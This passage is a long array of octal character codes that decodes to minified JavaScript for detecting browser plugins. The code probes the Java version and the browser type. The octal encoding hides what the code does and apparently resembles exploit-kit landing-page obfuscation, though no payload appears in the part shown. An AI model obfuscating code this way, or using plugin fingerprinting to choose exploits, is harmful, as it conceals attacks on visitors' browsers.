0141, 0164, 0116, 0165, 0155, 050, 042, 061, 056, 066, 042, 051, 051, 074, 075, 060, 051, 0174, 0174, 050, 0143, 056, 0151, 0163, 0123, 0141, 0146, 0141, 0162, 0151, 046, 046, 0143, 056, 0117, 0123, 075, 075, 061, 046, 046, 050, 041, 0143, 056, 0166, 0145, 0162, 0123, 0141, 0146, 0141, 0162, 0151, 0174, 0174, 060, 076, 0143, 056, 0143, 0157, 0155, 0160, 0141, 0162, 0145, 0116, 0165, 0155, 0163, 050, 0143, 056, 0166, 0145, 0162, 0123, 0141, 0146, 0141, 0162, 0151, 054, 042, 065, 054, 061, 054, 060, 054, 060, 042, 051, 051, 051, 0174, 0174, 0143, 056, 0151, 0163, 0103, 0150, 0162, 0157, 0155, 0145, 0174, 0174, 050, 0143, 056, 0151, 0163, 0111, 0105, 046, 046, 041, 0143, 056, 0101, 0143, 0164, 0151, 0166, 0145, 0130, 0105, 0156, 0141, 0142, 0154, 0145, 0144, 051, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 060, 0175, 054, 0101, 0130, 0117, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0141, 075, 0164, 0150, 0151, 0163, 054, 0143, 075, 0141, 056, 044, 054, 0142, 075, 0141, 056, 044, 044, 073, 0162, 0145, 0164, 0165, 0162, 0156, 050, 041, 0143, 056, 0151, 0163, 0111, 0105, 0174, 0174, 041, 0143, 056, 0101, 0143, 0164, 0151, 0166, 0145, 0130, 0105, 0156, 0141, 0142, 0154, 0145, 0144, 0174, 0174, 050, 041, 0142, 056, 0144, 0145, 0142, 0165, 0147, 046, 046, 0142, 056, 0104, 0124, 0113, 056, 0161, 0165, 0145, 0162, 0171, 050, 051, 056, 0163, 0164, 0141, 0164, 0165, 0163, 041, 075, 075, 060, 051, 051, 0175, 054, 0156, 0141, 0166, 0115, 0151, 0155, 0145, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0142, 075, 0164, 0150, 0151, 0163, 054, 0144, 075, 0142, 056, 044, 054, 0143, 075, 0142, 056, 044, 044, 054, 0141, 075, 0143, 056, 0156, 0141, 0166, 0151, 0147, 0141, 0164, 0157, 0162, 073, 0151, 0146, 050, 0144, 056, 0151, 0163, 0111, 0105, 0174, 0174, 041, 0141, 056, 0155, 0151, 0155, 0145, 0117, 0142, 0152, 0174, 0174, 041, 0141, 056, 0160, 0154, 0165, 0147, 0151, 0156, 0117, 0142, 0152, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 060, 0175, 054, 0156, 0141, 0166, 0120, 0154, 0165, 0147, 0151, 0156, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0142, 075, 0164, 0150, 0151, 0163, 054, 0144, 075, 0142, 056, 044, 054, 0143, 075, 0142, 056, 044, 044, 054, 0141, 075, 0143, 056, 0156, 0141, 0166, 0151, 0147, 0141, 0164, 0157, 0162, 073, 0151, 0146, 050, 0144, 056, 0151, 0163, 0111, 0105, 0174, 0174, 041, 0141, 056, 0155, 0151, 0155, 0145, 0117, 0142, 0152, 0174, 0174, 041, 0141, 056, 0160, 0154, 0165, 0147, 0151, 0156, 0117, 0142, 0152, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 060, 0175, 054, 0167, 0151, 0156, 0144, 0157, 0167, 0104, 0157, 0164, 0112, 0141, 0166, 0141, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0141, 075, 0164, 0150, 0151, 0163, 054, 0143, 075, 0141, 056, 044, 054, 0142, 075, 0141, 056, 044, 044, 073, 0151, 0146, 050, 041, 0167, 0151, 0156, 0144, 0157, 0167, 056, 0152, 0141, 0166, 0141, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0151, 0146, 050, 0143, 056, 0117, 0123, 075, 075, 062, 046, 046, 0143, 056, 0166, 0145, 0162, 0117, 0160, 0145, 0162, 0141, 076, 070, 046, 046, 0143, 056, 0166, 0145, 0162, 0117, 0160, 0145, 0162, 0141, 046, 046, 0143, 056, 0166, 0145, 0162, 0117, 0160, 0145, 0162, 0141, 074, 050, 071, 056, 063, 055, 060, 056, 061, 051, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 060, 0175, 054, 0141, 0154, 0154, 0101, 0160, 0160, 0154, 0145, 0164, 0163, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0142, 075, 0164, 0150, 0151, 0163, 054, 0144, 075, 0142, 056, 044, 054, 0143, 075, 0142, 056, 044, 044, 054, 0141, 075, 0143, 056, 0156, 0141, 0166, 0151, 0147, 0141, 0164, 0157, 0162, 073, 0151, 0146, 050, 0144, 056, 0117, 0123, 076, 075, 062, 060, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 060, 0175, 0151, 0146, 050, 0144, 056, 0166, 0145, 0162, 0117, 0160, 0145, 0162, 0141, 046, 046, 0144, 056, 0166, 0145, 0162, 0117, 0160, 0145, 0162, 0141, 074, 061, 061, 046, 046, 041, 0141, 056, 0152, 0141, 0166, 0141, 0105, 0156, 0141, 0142, 0154, 0145, 0144, 050, 051, 046, 046, 041, 0143, 056, 0154, 0141, 0156, 0147, 056, 0123, 0171, 0163, 0164, 0145, 0155, 056, 0147, 0145, 0164, 0120, 0162, 0157, 0160, 0145, 0162, 0164, 0171, 050, 051, 0133, 060, 0135, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0151, 0146, 050, 050, 0144, 056, 0166, 0145, 0162, 0107, 0145, 0143, 0153, 0157, 046, 046, 060, 076, 0144, 056, 0143, 0157, 0155, 0160, 0141, 0162, 0145, 0116, 0165, 0155, 0163, 050, 0144, 056, 0166, 0145, 0162, 0107, 0145, 0143, 0153, 0157, 054, 0144, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 042, 062, 042, 051, 051, 051, 046, 046, 041, 0141, 056, 0155, 0151, 0155, 0145, 0117, 0142, 0152, 046, 046, 041, 0143, 056, 0154, 0141, 0156, 0147, 056, 0123, 0171, 0163, 0164, 0145, 0155, 056, 0147, 0145, 0164, 0120, 0162, 0157, 0160, 0145, 0162, 0164, 0171, 050, 051, 0133, 060, 0135, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 060, 0175, 054, 0101, 0160, 0160, 0154, 0145, 0164, 0124, 0141, 0147, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0142, 075, 0164, 0150, 0151, 0163, 054, 0144, 075, 0142, 056, 044, 054, 0143, 075, 0142, 056, 044, 044, 054, 0141, 075, 0143, 056, 0156, 0141, 0166, 0151, 0147, 0141, 0164, 0157, 0162, 073, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0144, 056, 0151, 0163, 0111, 0105, 077, 041, 0141, 056, 0152, 0141, 0166, 0141, 0105, 0156, 0141, 0142, 0154, 0145, 0144, 050, 051, 072, 060, 0175, 054, 0117, 0142, 0152, 0145, 0143, 0164, 0124, 0141, 0147, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0141, 075, 0164, 0150, 0151, 0163, 054, 0143, 075, 0141, 056, 044, 054, 0142, 075, 0141, 056, 044, 044, 073, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0143, 056, 0151, 0163, 0111, 0105, 077, 041, 0143, 056, 0101, 0143, 0164, 0151, 0166, 0145, 0130, 0105, 0156, 0141, 0142, 0154, 0145, 0144, 072, 060, 0175, 054, 0172, 072, 060, 0175, 054, 0147, 0145, 0164, 0126, 0145, 0162, 0151, 0146, 0171, 0124, 0141, 0147, 0163, 0104, 0145, 0146, 0141, 0165, 0154, 0164, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0141, 075, 0164, 0150, 0151, 0163, 054, 0143, 075, 0141, 056, 044, 054, 0142, 075, 0133, 061, 054, 060, 054, 061, 0135, 073, 0151, 0146, 050, 0143, 056, 0117, 0123, 076, 075, 062, 060, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0142, 0175, 0151, 0146, 050, 050, 0143, 056, 0151, 0163, 0111, 0105, 046, 046, 050, 0143, 056, 0166, 0145, 0162, 0111, 0105, 074, 071, 0174, 0174, 041, 0143, 056, 0101, 0143, 0164, 0151, 0166, 0145, 0130, 0105, 0156, 0141, 0142, 0154, 0145, 0144, 051, 051, 0174, 0174, 050, 0143, 056, 0166, 0145, 0162, 0107, 0145, 0143, 0153, 0157, 046, 046, 060, 076, 0143, 056, 0143, 0157, 0155, 0160, 0141, 0162, 0145, 0116, 0165, 0155, 0163, 050, 0143, 056, 0166, 0145, 0162, 0107, 0145, 0143, 0153, 0157, 054, 0143, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 042, 062, 042, 051, 051, 051, 0174, 0174, 050, 0143, 056, 0151, 0163, 0123, 0141, 0146, 0141, 0162, 0151, 046, 046, 050, 041, 0143, 056, 0166, 0145, 0162, 0123, 0141, 0146, 0141, 0162, 0151, 0174, 0174, 060, 076, 0143, 056, 0143, 0157, 0155, 0160, 0141, 0162, 0145, 0116, 0165, 0155, 0163, 050, 0143, 056, 0166, 0145, 0162, 0123, 0141, 0146, 0141, 0162, 0151, 054, 0143, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 042, 064, 042, 051, 051, 051, 051, 0174, 0174, 050, 0143, 056, 0166, 0145, 0162, 0117, 0160, 0145, 0162, 0141, 046, 046, 0143, 056, 0166, 0145, 0162, 0117, 0160, 0145, 0162, 0141, 074, 061, 060, 051, 051, 0173, 0142, 075, 0133, 061, 054, 061, 054, 061, 0135, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0142, 0175, 054, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0152, 054, 0147, 054, 0151, 051, 0173, 0166, 0141, 0162, 040, 0142, 075, 0164, 0150, 0151, 0163, 054, 0144, 075, 0142, 056, 044, 054, 0145, 054, 0141, 075, 0142, 056, 0141, 0160, 0160, 0154, 0145, 0164, 054, 0150, 075, 0142, 056, 0166, 0145, 0162, 0151, 0146, 0171, 054, 0153, 075, 0142, 056, 0156, 0141, 0166, 0151, 0147, 0141, 0164, 0157, 0162, 054, 0146, 075, 0156, 0165, 0154, 0154, 054, 0154, 075, 0156, 0165, 0154, 0154, 054, 0143, 075, 0156, 0165, 0154, 0154, 073, 0151, 0146, 050, 0142, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 0104, 0157, 0156, 0145, 075, 075, 075, 0156, 0165, 0154, 0154, 051, 0173, 0142, 056, 0117, 0124, 0106, 075, 060, 073, 0153, 056, 0155, 0151, 0155, 0145, 0117, 0142, 0152, 075, 0144, 056, 0150, 0141, 0163, 0115, 0151, 0155, 0145, 0124, 0171, 0160, 0145, 050, 0142, 056, 0155, 0151, 0155, 0145, 0124, 0171, 0160, 0145, 051, 073, 0151, 0146, 050, 0153, 056, 0155, 0151, 0155, 0145, 0117, 0142, 0152, 051, 0173, 0153, 056, 0160, 0154, 0165, 0147, 0151, 0156, 0117, 0142, 0152, 075, 0153, 056, 0155, 0151, 0155, 0145, 0117, 0142, 0152, 056, 0145, 0156, 0141, 0142, 0154, 0145, 0144, 0120, 0154, 0165, 0147, 0151, 0156, 0175, 0151, 0146, 050, 0150, 051, 0173, 0150, 056, 0142, 0145, 0147, 0151, 0156, 050, 051, 0175, 0175, 0141, 056, 0163, 0145, 0164, 0126, 0145, 0162, 0151, 0146, 0171, 0124, 0141, 0147, 0163, 0101, 0162, 0162, 0141, 0171, 050, 0151, 051, 073, 0144, 056, 0146, 0151, 0154, 0145, 056, 0163, 0141, 0166, 0145, 050, 0142, 054, 042, 056, 0152, 0141, 0162, 042, 054, 0147, 051, 073, 0151, 0146, 050, 0142, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 0104, 0157, 0156, 0145, 075, 075, 075, 060, 051, 0173, 0151, 0146, 050, 0141, 056, 0163, 0150, 0157, 0165, 0154, 0144, 0137, 0111, 0156, 0163, 0145, 0162, 0164, 0137, 0121, 0165, 0145, 0162, 0171, 0137, 0101, 0156, 0171, 050, 051, 051, 0173, 0145, 075, 0141, 056, 0151, 0156, 0163, 0145, 0162, 0164, 0137, 0121, 0165, 0145, 0162, 0171, 0137, 0101, 0156, 0171, 050, 051, 073, 0142, 056, 0163, 0145, 0164, 0120, 0154, 0165, 0147, 0151, 0156, 0123, 0164, 0141, 0164, 0165, 0163, 050, 0145, 0133, 060, 0135, 054, 0145, 0133, 061, 0135, 054, 0146, 051, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 0175, 0151, 0146, 050, 050, 041, 0146, 0174, 0174, 0142, 056, 0144, 0145, 0142, 0165, 0147, 051, 046, 046, 0142, 056, 0104, 0124, 0113, 056, 0161, 0165, 0145, 0162, 0171, 050, 051, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 051, 0173, 0146, 075, 0142, 056, 0104, 0124, 0113, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 0175, 0151, 0146, 050, 050, 041, 0146, 0174, 0174, 0142, 056, 0144, 0145, 0142, 0165, 0147, 051, 046, 046, 0142, 056, 0156, 0141, 0166, 0115, 0151, 0155, 0145, 056, 0161, 0165, 0145, 0162, 0171, 050, 051, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 051, 0173, 0146, 075, 0142, 056, 0156, 0141, 0166, 0115, 0151, 0155, 0145, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 0175, 0151, 0146, 050, 050, 041, 0146, 0174, 0174, 0142, 056, 0144, 0145, 0142, 0165, 0147, 051, 046, 046, 0142, 056, 0156, 0141, 0166, 0120, 0154, 0165, 0147, 0151, 0156, 056, 0161, 0165, 0145, 0162, 0171, 050, 051, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 051, 0173, 0146, 075, 0142, 056, 0156, 0141, 0166, 0120, 0154, 0165, 0147, 0151, 0156, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 0175, 0151, 0146, 050, 050, 041, 0146, 0174, 0174, 0142, 056, 0144, 0145, 0142, 0165, 0147, 051, 046, 046, 0142, 056, 0101, 0130, 0117, 056, 0161, 0165, 0145, 0162, 0171, 050, 051, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 051, 0173, 0146, 075, 0142, 056, 0101, 0130, 0117, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 0175, 0151, 0146, 050, 0142, 056, 0156, 0157, 0156, 0101, 0160, 0160, 0154, 0145, 0164, 0104, 0145, 0164, 0145, 0143, 0164, 0151, 0157, 0156, 0117, 0153, 050, 0146, 051, 051, 0173, 0143, 075, 0146, 0175, 0151, 0146, 050, 041, 0143, 0174, 0174, 0142, 056, 0144, 0145, 0142, 0165, 0147, 0174, 0174, 0141, 056, 0126, 0145, 0162, 0151, 0146, 0171, 0124, 0141, 0147, 0163, 0110, 0141, 0163, 050, 062, 056, 062, 051, 0174, 0174, 0141, 056, 0126, 0145, 0162, 0151, 0146, 0171, 0124, 0141, 0147, 0163, 0110, 0141, 0163, 050, 062, 056, 065, 051, 051, 0173, 0145, 075, 0142, 056, 0154, 0141, 0156, 0147, 056, 0123, 0171, 0163, 0164, 0145, 0155, 056, 0147, 0145, 0164, 0120, 0162, 0157, 0160, 0145, 0162, 0164, 0171, 050, 051, 073, 0151, 0146, 050, 0145, 0133, 060, 0135, 051, 0173, 0146, 075, 0145, 0133, 060, 0135, 073, 0143, 075, 0145, 0133, 060, 0135, 073, 0154, 075, 0145, 0133, 061, 0135, 0175, 0175, 0142, 056, 0163, 0145, 0164, 0120, 0154, 0165, 0147, 0151, 0156, 0123, 0164, 0141, 0164, 0165, 0163, 050, 0143, 054, 0154, 054, 0146, 051, 073, 0151, 0146, 050, 0141, 056, 0163, 0150, 0157, 0165, 0154, 0144, 0137, 0111, 0156, 0163, 0145, 0162, 0164, 0137, 0121, 0165, 0145, 0162, 0171, 0137, 0101, 0156, 0171, 050, 051, 051, 0173, 0145, 075, 0141, 056, 0151, 0156, 0163, 0145, 0162, 0164, 0137, 0121, 0165, 0145, 0162, 0171, 0137, 0101, 0156, 0171, 050, 051, 073, 0151, 0146, 050, 0145, 0133, 060, 0135, 051, 0173, 0143, 075, 0145, 0133, 060, 0135, 073, 0154, 075, 0145, 0133, 061, 0135, 0175, 0175, 0142, 056, 0163, 0145, 0164, 0120, 0154, 0165, 0147, 0151, 0156, 0123, 0164, 0141, 0164, 0165, 0163, 050, 0143, 054, 0154, 054, 0146, 051, 0175, 054, 0156, 0157, 0156, 0101, 0160, 0160, 0154, 0145, 0164, 0104, 0145, 0164, 0145, 0143, 0164, 0151, 0157, 0156, 0117, 0153, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0142, 051, 0173, 0166, 0141, 0162, 040, 0144, 075, 0164, 0150, 0151, 0163, 054, 0145, 075, 0144, 056, 044, 054, 0141, 075, 0144, 056, 0156, 0141, 0166, 0151, 0147, 0141, 0164, 0157, 0162, 054, 0143, 075, 061, 073, 0151, 0146, 050, 041, 0142, 0174, 0174, 050, 041, 0141, 056, 0152, 0141, 0166, 0141, 0105, 0156, 0141, 0142, 0154, 0145, 0144, 050, 051, 046, 046, 041, 0144, 056, 0154, 0141, 0156, 0147, 056, 0123, 0171, 0163, 0164, 0145, 0155, 056, 0147, 0145, 0164, 0120, 0162, 0157, 0160, 0145, 0162, 0164, 0171, 0110, 0141, 0163, 050, 0142, 051, 051, 0174, 0174, 050, 041, 0145, 056, 0151, 0163, 0111, 0105, 046, 046, 041, 0141, 056, 0155, 0151, 0155, 0145, 0117, 0142, 0152, 046, 046, 041, 0144, 056, 0154, 0141, 0156, 0147, 056, 0123, 0171, 0163, 0164, 0145, 0155, 056, 0147, 0145, 0164, 0120, 0162, 0157, 0160, 0145, 0162, 0164, 0171, 0110, 0141, 0163, 050, 0142, 051, 051, 0174, 0174, 050, 0145, 056, 0151, 0163, 0111, 0105, 046, 046, 041, 0145, 056, 0101, 0143, 0164, 0151, 0166, 0145, 0130, 0105, 0156, 0141, 0142, 0154, 0145, 0144, 051, 051, 0173, 0143, 075, 060, 0175, 0145, 0154, 0163, 0145, 0173, 0151, 0146, 050, 0145, 056, 0117, 0123, 076, 075, 062, 060, 051, 0173, 0175, 0145, 0154, 0163, 0145, 0173, 0151, 0146, 050, 0144, 056, 0151, 0156, 0146, 0157, 046, 046, 060, 076, 0144, 056, 0151, 0156, 0146, 0157, 056, 0147, 0145, 0164, 0120, 0154, 0165, 0147, 0151, 0156, 062, 0123, 0164, 0141, 0164, 0165, 0163, 050, 051, 046, 046, 0144, 056, 0151, 0156, 0146, 0157, 056, 0102, 0162, 0157, 0167, 0163, 0145, 0162, 0122, 0145, 0161, 0165, 0151, 0162, 0145, 0163, 0120, 0154, 0165, 0147, 0151, 0156, 062, 050, 051, 051, 0173, 0143, 075, 060, 0175, 0175, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0143, 0175, 054, 0163, 0145, 0164, 0120, 0154, 0165, 0147, 0151, 0156, 0123, 0164, 0141, 0164, 0165, 0163, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0144, 054, 0146, 054, 0141, 051, 0173, 0166, 0141, 0162, 040, 0143, 075, 0164, 0150, 0151, 0163, 054, 0145, 075, 0143, 056, 044, 054, 0142, 073, 0141, 075, 0141, 0174, 0174, 0143, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 060, 073, 0151, 0146, 050, 060, 074, 0143, 056, 0117, 0124, 0106, 051, 0173, 0144, 075, 0144, 0174, 0174, 0143, 056, 0154, 0141, 0156, 0147, 056, 0123, 0171, 0163, 0164, 0145, 0155, 056, 0147, 0145, 0164, 0120, 0162, 0157, 0160, 0145, 0162, 0164, 0171, 050, 051, 0133, 060, 0135, 0175, 0151, 0146, 050, 0143, 056, 0117, 0124, 0106, 074, 063, 051, 0173, 0142, 075, 0144, 077, 061, 072, 050, 0141, 077, 055, 060, 056, 062, 072, 055, 061, 051, 073, 0151, 0146, 050, 0143, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 075, 075, 075, 0156, 0165, 0154, 0154, 0174, 0174, 0142, 076, 0143, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 051, 0173, 0143, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 075, 0142, 0175, 0175, 0151, 0146, 050, 0143, 056, 0117, 0124, 0106, 075, 075, 062, 046, 046, 0143, 056, 0116, 0117, 0124, 0106, 046, 046, 041, 0143, 056, 0141, 0160, 0160, 0154, 0145, 0164, 056, 0147, 0145, 0164, 0122, 0145, 0163, 0165, 0154, 0164, 050, 051, 0133, 060, 0135, 046, 046, 041, 0143, 056, 0154, 0141, 0156, 0147, 056, 0123, 0171, 0163, 0164, 0145, 0155, 056, 0147, 0145, 0164, 0120, 0162, 0157, 0160, 0145, 0162, 0164, 0171, 050, 051, 0133, 060, 0135, 051, 0173, 0143, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 075, 0141, 077, 055, 060, 056, 062, 072, 055, 061, 0175, 073, 0151, 0146, 050, 0143, 056, 0117, 0124, 0106, 075, 075, 063, 046, 046, 0143, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 041, 075, 055, 060, 056, 065, 046, 046, 0143, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 041, 075, 060, 056, 065, 051, 0173, 0143, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 075, 050, 0143, 056, 0116, 0117, 0124, 0106, 056, 0151, 0163, 0112, 0141, 0166, 0141, 0101, 0143, 0164, 0151, 0166, 0145, 050, 061, 051, 075, 075, 061, 0174, 0174, 0143, 056, 0154, 0141, 0156, 0147, 056, 0123, 0171, 0163, 0164, 0145, 0155, 056, 0147, 0145, 0164, 0120, 0162, 0157, 0160, 0145, 0162, 0164, 0171, 050, 051, 0133, 060, 0135, 051, 077, 060, 056, 065, 072, 055, 060, 056, 065, 0175, 0151, 0146, 050, 0143, 056, 0117, 0124, 0106, 075, 075, 064, 046, 046, 050, 0143, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 075, 075, 055, 060, 056, 065, 0174, 0174, 0143, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 075, 075, 060, 056, 065, 051, 051, 0173, 0151, 0146, 050, 0144, 051, 0173, 0143, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 075, 061, 0175, 0145, 0154, 0163, 0145, 0173, 0151, 0146, 050, 0143, 056, 0116, 0117, 0124, 0106, 056, 0151, 0163, 0112, 0141, 0166, 0141, 0101, 0143, 0164, 0151, 0166, 0145, 050, 061, 051, 075, 075, 061, 051, 0173, 0151, 0146, 050, 0141, 051, 0173, 0143, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 075, 061, 073, 0144, 075, 0141, 0175, 0145, 0154, 0163, 0145, 0173, 0143, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 075, 060, 0175, 0175, 0145, 0154, 0163, 0145, 0173, 0151, 0146, 050, 0141, 051, 0173, 0143, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 075, 055, 060, 056, 062, 0175, 0145, 0154, 0163, 0145, 0173, 0143, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 075, 055, 061, 0175, 0175, 0175, 0175, 073, 0151, 0146, 050, 0141, 051, 0173, 0143, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 060, 075, 0145, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 0145, 056, 0147, 0145, 0164, 0116, 0165, 0155, 050, 0141, 051, 051, 0175, 0151, 0146, 050, 0144, 051, 0173, 0143, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 075, 0145, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 0145, 056, 0147, 0145, 0164, 0116, 0165, 0155, 050, 0144, 051, 051, 0175, 0151, 0146, 050, 0146, 046, 046, 0145, 056, 0151, 0163, 0123, 0164, 0162, 0151, 0156, 0147, 050, 0146, 051, 051, 0173, 0143, 056, 0166, 0145, 0156, 0144, 0157, 0162, 075, 0146, 0175, 0151, 0146, 050, 041, 0143, 056, 0166, 0145, 0156, 0144, 0157, 0162, 051, 0173, 0143, 056, 0166, 0145, 0156, 0144, 0157, 0162, 075, 042, 042, 0175, 0151, 0146, 050, 0143, 056, 0166, 0145, 0162, 0151, 0146, 0171, 046, 046, 0143, 056, 0166, 0145, 0162, 0151, 0146, 0171, 056, 0151, 0163, 0105, 0156, 0141, 0142, 0154, 0145, 0144, 050, 051, 051, 0173, 0143, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 0104, 0157, 0156, 0145, 075, 060, 0175, 0145, 0154, 0163, 0145, 0173, 0151, 0146, 050, 0143, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 0104, 0157, 0156, 0145, 041, 075, 061, 051, 0173, 0151, 0146, 050, 0143, 056, 0117, 0124, 0106, 074, 062, 051, 0173, 0143, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 0104, 0157, 0156, 0145, 075, 060, 0175, 0145, 0154, 0163, 0145, 0173, 0143, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 0104, 0157, 0156, 0145, 075, 0143, 056, 0141, 0160, 0160, 0154, 0145, 0164, 056, 0143, 0141, 0156, 0137, 0111, 0156, 0163, 0145, 0162, 0164, 0137, 0121, 0165, 0145, 0162, 0171, 0137, 0101, 0156, 0171, 050, 051, 077, 060, 072, 061, 0175, 0175, 0175, 0175, 054, 0104, 0124, 0113, 072, 0173, 044, 072, 061, 054, 0150, 0141, 0163, 0122, 0165, 0156, 072, 060, 054, 0163, 0164, 0141, 0164, 0165, 0163, 072, 0156, 0165, 0154, 0154, 054, 0126, 0105, 0122, 0123, 0111, 0117, 0116, 0123, 072, 0133, 0135, 054, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 072, 042, 042, 054, 0110, 0124, 0115, 0114, 072, 0156, 0165, 0154, 0154, 054, 0120, 0154, 0165, 0147, 0151, 0156, 062, 0123, 0164, 0141, 0164, 0165, 0163, 072, 0156, 0165, 0154, 0154, 054, 0143, 0154, 0141, 0163, 0163, 0111, 0104, 072, 0133, 042, 0143, 0154, 0163, 0151, 0144, 072, 0103, 0101, 0106, 0105, 0105, 0106, 0101, 0103, 055, 0104, 0105, 0103, 067, 055, 060, 060, 060, 060, 055, 060, 060, 060, 061, 055, 0101, 0102, 0103, 0104, 0105, 0106, 0106, 0105, 0104, 0103, 0102, 0101, 042, 054, 042, 0143, 0154, 0163, 0151, 0144, 072, 0103, 0101, 0106, 0105, 0105, 0106, 0101, 0103, 055, 0104, 0105, 0103, 067, 055, 060, 060, 060, 060, 055, 060, 060, 060, 060, 055, 0101, 0102, 0103, 0104, 0105, 0106, 0106, 0105, 0104, 0103, 0102, 0101, 042, 0135, 054, 0155, 0151, 0155, 0145, 0124, 0171, 0160, 0145, 072, 0133, 042, 0141, 0160, 0160, 0154, 0151, 0143, 0141, 0164, 0151, 0157, 0156, 057, 0152, 0141, 0166, 0141, 055, 0144, 0145, 0160, 0154, 0157, 0171, 0155, 0145, 0156, 0164, 055, 0164, 0157, 0157, 0154, 0153, 0151, 0164, 042, 054, 042, 0141, 0160, 0160, 0154, 0151, 0143, 0141, 0164, 0151, 0157, 0156, 057, 0156, 0160, 0162, 0165, 0156, 0164, 0151, 0155, 0145, 055, 0163, 0143, 0162, 0151, 0160, 0164, 0141, 0142, 0154, 0145, 055, 0160, 0154, 0165, 0147, 0151, 0156, 073, 0104, 0145, 0160, 0154, 0157, 0171, 0155, 0145, 0156, 0164, 0124, 0157, 0157, 0154, 0153, 0151, 0164, 042, 0135, 054, 0144, 0151, 0163, 0141, 0142, 0154, 0145, 0144, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0164, 0150, 0151, 0163, 056, 044, 044, 056, 0151, 0163, 0104, 0151, 0163, 0141, 0142, 0154, 0145, 0144, 056, 0104, 0124, 0113, 050, 051, 0175, 054, 0161, 0165, 0145, 0162, 0171, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0153, 